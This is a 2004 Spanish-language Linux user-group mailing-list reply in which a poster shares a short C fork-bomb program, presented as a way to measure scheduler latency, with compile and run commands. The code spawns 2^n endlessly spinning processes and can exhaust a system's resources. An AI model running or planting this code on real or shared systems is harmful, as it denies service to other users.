[LUG.ro] Re: Seguridad en Linux
Pablo
lugro@lugro.org.ar
Mon, 12 Jan 2004 14:19:02 -0300
El Lunes 12 Enero 2004 13:41, escribiste:
> ¿Y las bombas fork ????
Esta puede llegar a ser una simple:
--------------------forkbom.c-----------------------
/*
Con argv[1] igual a 2 se generan 4 proceso.
Con argv[1] igual a 4 se generan 16 proceso.
Con argv[1] igual a 6 se generan 64 proceso.
etc. con la formula 2^n. Si consideramos que
cada proceso se ejecuta todo su quantum que
no se bien pero puede ser de 100ms entonces
2^n*100ms deberia dar algo asi como el tiempo
de latencia entre que un proceso recibe el cpu
y la proxima vez que le toque el cpu.
Ej: $./fbom 8
$ time ps | grep fbom | wc -l
debe dar cerca de 25 seg. que
es 100ms * 2^8
Compilar con:
$ gcc -o fbom forkbom.c
Saludos. Pablo.
*/
#include <unistd.h>
int count;
int main(int argc, char *argv[])
{
if( argc == 2)
count = atoi(argv[1]);
else
printf("%s Nro_Procesos\n", argv[0]), exit(1);
for(; count; count--)
fork();
while(1); // me mantengo corriendo.
return 0;
}
---------------------------------------------------
Saludos. Pablo.
El Lunes 12 Enero 2004 13:41, escribiste:
> El Lun 12 Ene 2004 12:58, ArinoO@bancobsf.com.ar escribió:
> >(Ar) Disculpen mi ignoracia, pero que caraj... es GR-Security?
>
> ¿Y las bombas fork ????
>
> -- Para el cierre: ---
> El Maestro Pen Guin hace tiempo sentenció:
> BEBE A BORDO ( pero con moderación )
> - - -
> Marcelo Duschkin - Buenos Aires - Argentina